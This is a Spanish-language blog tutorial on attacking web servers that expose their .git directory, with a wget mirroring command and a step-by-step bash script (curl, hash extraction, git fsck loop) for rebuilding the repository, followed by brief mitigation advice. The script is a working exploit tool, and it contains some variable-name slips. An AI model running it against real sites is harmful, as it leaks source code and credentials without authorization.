¡Ataquemos repositorios Git expuestos!

Git es un sistema de control de versiones distribuido. Esto significa que existe un repositorio remoto del proyecto en un servidor y copias o clones locales completas en los equipos de cada desarrolladora o desarrollador, quienes confirman (o “comittean” si permiten mi informalidad) sus cambios y los sincronizan con aquellos en el servidor. No entraremos en mucho detalle acerca de Git en sí, pero si les interesa aprender más sobre él, recomiendo sin duda esta referencia.

A pesar de la versatilidad y fácil uso de esta herramienta, existen muchas malas prácticas comunes asociadas a ella en ambientes de producción, principalmente la mala restricción de accesos al directorio .git, que contiene todo el historial de cambios y sus logs correspondientes, entre otras cosas.

Impacto de un repositorio expuesto

Tener acceso al repositorio implica tener acceso a parte de, si es que no todo el código fuente de la aplicación web. Esto incluye archivos de configuración o con información sensible como contraseñas o credenciales para bases de dato. A veces es posible recuperar las credenciales para el mismo repositorio, caso en el que comprometer el sitio no supone ninguna dificultad.

Fuera de eso, tener acceso a la lógica interna de la aplicación ayudaría inmensamente a un atacante, dándole la posibilidad de buscar vulnerabilidades por esa vía o generar un plan de ataque mucho más dirigido.

Detectando repositorios expuestos

Para fines ilustrativos se utilizará un servidor web local que imita un login convencional.

Validar la existencia un repositorio git es tan simple como navegar a la ruta del proyecto en el servidor web y agregar /.git/ al final. Hay 3 resultados posibles:

1. El servidor responde con un código de estado 404

Esto indica que no existe un repositorio en la ruta accedida, por lo que no es posible llevar a cabo el ataque.

2. El servidor responde con un código de estado 403

Dependiendo de la configuración del servidor web, todavía podría ser posible llevar a cabo el ataque, accediendo a los archivos si es que conocemos su ruta absoluta.

3. El listado de directorios está habilitado

Podemos acceder al directorio sin restricciones y descargar los archivos trivialmente.

Atacancando repositorios

Caso 3

Dado que el listado de directorios está habilitado, podemos simplemente ir uno por uno descargando todos los archivos hasta recrear el repositorio completo localmente. Esto, claro, es sumamente ineficiente considerando el tamaño que podría llegar a tener. Podríamos escribir un crawler a mano para auomatizar la descarga de los archivos, o podríamos usar un popular programa hecho ya con esa funcionalidad en mente: wget. Wget es un programa presente en la mayoría de los sistemas UNIX hecho para descargar archivos a través de diversos protocolos. Tiene muchas opciones distintas y es fácil configurarlo para hacer nuestro crawler de repositorios.

Este es el comando que podemos utilizar para descargar el directorio completo. Todas las opciones están comentadas indicando en resumidas cuentas qué hace cada una.

wget http://local.repo/.git/ \
     --recursive `# Descarga archivos rescursivamente` \
     --execute robots=off `# Ignora el archivo robots.txt` \
     --no-parent `# No descarga recursivamente hacia directorios superiores` \
     --quiet `# No muestra output` \
     --show-progress `# Muestra la barra de progreso para cada archivo` \
     --no-host-directories `# No genera un directorio con el nombre del host` \
     --reject "index.html" `# Evita descargar "index.html", archivo que muestra el listado de directorios` \
     --reject-regex "\?.=.;.=." `# Ignora el FancyIndexing de algunos servidores web` \
     --directory-prefix git_dir # Indica el directorio de salida

Corriendo este comando para nuestro servidor web obtenemos el siguiente output:

Luego de esto, podemos recuperar el código fuente de la aplicación y ver el historial de commits.

Caso 2

Ya logramos filtrar código fuente si el listado de directorios está habilitado, ¿pero qué pasa si el acceso al directorio está restringido? Bueno, depende de la configuración del servidor.

En mi experiencia la configuración más común, independiente del servidor que se esté utilizando, es la de restringir el acceso al directorio .git, pero no a su contenido ni a sus subdirectorios. Esto se hace bajo la premisa de que no se tiene conocimiento de las rutas o nombres de los archivos dentro de él, hecho que por supuesto no es verdad.

Cuando se inicializa un repositorio git con git init se crean varios archivos por defecto, entre los cuales destaca HEAD. Sin entrar en mucho detalle sobre cómo funciona internamente, con el contenido de estos archivos podemos encontrar las rutas relativas de nuevos elementos que corresponden a objetos en el ecosistema git. Por ejemplo, si nuestro archivo .git/HEAD se ve así:

ref: refs/heads/master

Podemos revisar el contenido de .git/refs/heads/master y ver que es un hash:

504c5dbed9be18949a1e32f04477e6ea46632637

Y así saber que existe un objeto en .git/objects/50/4c5dbed9be18949a1e32f04477e6ea46632637.

Luego de descargar todos los archivos de esta forma, podemos correr el comando git fsck dentro del repositorio para que verifique qué objetos están faltando (esto es una sobresimplificación extrema de lo que hace realmente fsck). Esto nos arrojará muchos más hashes, traducibles a rutas como se mostró anteriormente.

Automatizando el proceso

Para automatizar este tedioso proceso escribiremos un pequeño script en bash paso a paso.

En primer lugar definamos algunas variables globales.

GIT_OUT_DIR="output_dir/.git/" # Acá se guardará el repositorio
REPO_URL="http://repo.local/.git/" # Reemplazar por su repositorio a testear!

Definamos también un arreglo que contenga nombres de archivos que por defecto estén en un repositorio git.

STATIC=()
STATIC+=('HEAD')
STATIC+=('description')
STATIC+=('config')
STATIC+=('COMMIT_EDITMSG')
STATIC+=('index')
STATIC+=('refs/heads/master')
STATIC+=('logs/HEAD')
STATIC+=('logs/refs/heads/master')
STATIC+=('info/exclude')

Ahora escribamos una función para extraer los hashes de un archivo específico. Esto lo logramos simplemente con grep y sort, este útimo siendo para que no se repita ninguno.

function grep_hashes()
{
    local out=$(grep -av "\.git" - | grep -Eoa "[a-f0-9]{40}" | sort -u)
    echo $out
}

Con eso listo, podemos hacer una función que descargue el archivo correpondiente al hash. Esto lo hacemos como se mencionó más arriba, es decir, con el formato .git/objects/[primeros dos carácteres del hash]/[resto del hash]. Usaremos la función descargar_archivo por ahora, aunque la escribiremos en la siguiente parte.

function descargar_hash()
{
    local g_hash ruta # Variables locales
    g_hash="$1" # El primer argumento corresponde al hash por descargar
    path="/objects/${g_hash:0:2}/${g_hash:2}" # Ruta del objeto
    descargar_archivo $path # Lo descargamos
}

Ahora la función más importante: la que descarga archivos.

Primero definiremos la ruta en la que se guardará el archivo final. Esta dependerá del primero argumento que le pasemos a la función y de la variable global que definimos al comienzo.

function descargar_archivo()
{
    local file_path="$GIT_OUT_DIR$1"
}

Agregaremos un if para revisar si ya existe o no localmente el archivo por descargar, y dentro de él unas llamadas a curl para obtener el código de estado y las cabeceras HTTP del objeto remoto. Estas las usaremos posteriormente para verificar la existencia del archivo en el servidor y eliminar falsos positivos, como por ejemplo el caso de una página que nos devuelve un código 200, pero en realidad es un archivo HTML indicando un 404.

Si el archivo no existe localmente, pero sí en el servidor, lo descargaremos usando curl nuevamente.

function descargar_archivo()
{
    local ruta_local="$GIT_OUT_DIR$1"

    if [ ! -f "$file_path" ]; # Vemos si existe localmente el archivo
    then
        local headers=$(curl -sI -w "%{http_code}" "$REPO_URL$1") #Obtenemos cabeceras
        local status_code="${headers:${#headers}-3}" # y código de estado
        # Vemos si la cabecera indica un archivo HTML o el código de estado es != de 200
        if grep -qE "^content-type:.*html" <<< "$headers" || [ $status_code != 200 ];
        then
            # Si se cumple lo anterior, el archivo no existe o es inaccesible
            # Por lo mismo salimos de la función
            return
        fi

        # El archivo existe, lo descargamos
        curl -s "$REPO_URL$1" --create-dirs -o "$ruta_local"
    fi
}

Una vez ya descargado, revisaremos su contenido en busca de hashes con grep_hashes y los descargaremos uno a uno con la función descargar_hash.

function descargar_archivo()
{
    local ruta_local="$GIT_OUT_DIR$1"

    if [ ! -f "$file_path" ]; # Vemos si existe localmente el archivo
    then
        local headers=$(curl -sI -w "%{http_code}" "$REPO_URL$1") #Obtenemos cabeceras
        local status_code="${headers:${#headers}-3}" # y código de estado
        # Vemos si la cabecera indica un archivo HTML o el código de estado es != de 200
        if grep -qE "^content-type:.*html" <<< "$headers" || [ $status_code != 200 ];
        then
            # Si se cumple lo anterior, el archivo no existe o es inaccesible
            # Por lo mismo salimos de la función
            return
        fi

        # El archivo existe, lo descargamos
        curl -s "$REPO_URL$1" --create-dirs -o "$ruta_local"
    fi

    # Descargamos cada hash único que haya en el archivo
    for hash in $(cat $file_path | grep_hashes | sort -u | tr '\n' ' ')
    do
        descargar_hash $h
    done
}

Veamos cómo podemos recuperar hashes del output de git fsck, que usualmente se ve así:

Es fácil ver que nos conviene “pipear” el output del comando a grep_hashes.

Ya que fsck escribe su output a stderr, no podemos simplemente usar |, ya que este solo “pipea” stdout. Para que tome en cuenta a stderr, utilizamos el operador |&

function get_fsck_hashes()
{
    local fsck_out=$(git --git-dir=$GIT_OUT_DIR fsck |& grep_hashes)
    echo $fsck_out
}

Para terminar, escribamos una función que descargue los hashes devueltos por get_fsck_hashes. Esta puede tener dos posibles finales:

  1. get_fsck_hashes ya no genera más hashes.
  2. get_fsck_hashes sigue generando los mismos hashes, lo que significa que no pudieron ser descargados.
function descargar_fsck()
{
    local out=$(get_fsck_hashes)
    while true;
    do
        # Paramos si ya no se están generando más hashes
        [ -z "$out" ] && break
        for g_hash in $out
        do
            descargar_hash $g_hash
        done

        # Paramos si se siguen generando los mismos hashes
        out_f=$(get_fsck_hashes)
        [ "$out" == "$out_f" ] && break
        out="$out_f"
    done
}

Uniendo todo en una función main nos queda algo así:

function main
{
    mkdir -p $OUT_DIR # Creamos el directorio .git de output

    # Descargamos los archivos por defecto
    for file in "${STATIC[@]}"
    do
        descargar_archivo "$file"
    done

    # Descargamos objetos faltantes
    descargar_fsck
}

# Llamamos a main
main

Y así de fácil tenemos un programa simple y corto para descargar repositorios git expuestos. Evidentemente le faltan muchos detalles y podría ser mejorado en varias dimensiones, cosa que hice personalmente en GitGet, un proyecto personal que pueden encontrar acá.

Corriendo GitGet con el repositorio de prueba obtenemos un output similar a este:

Igual que antes, fue posible recuperar el código fuente completo utilizando este método.

Mitigación

Luego de entender cómo funciona este tipo de ataque, es fácil ver que la mitigación reside principalmente en el servidor web. En primera instancia recomendaría eliminar el directorio .git si no es exclusivamente necesario. Si lo es, a través de los archivos de configuración del servidor bloquear el acceso al directorio y a sus subdirectorios completamente.

Como toda vulnerabilidad, esta es solo la punta del iceberg para mitigarla. Generar flujos de trabajo ordenados y monitoreados, así como contar con un equipo bien educado en ciberseguridad juega un rol importante en la prevención de problemas como este.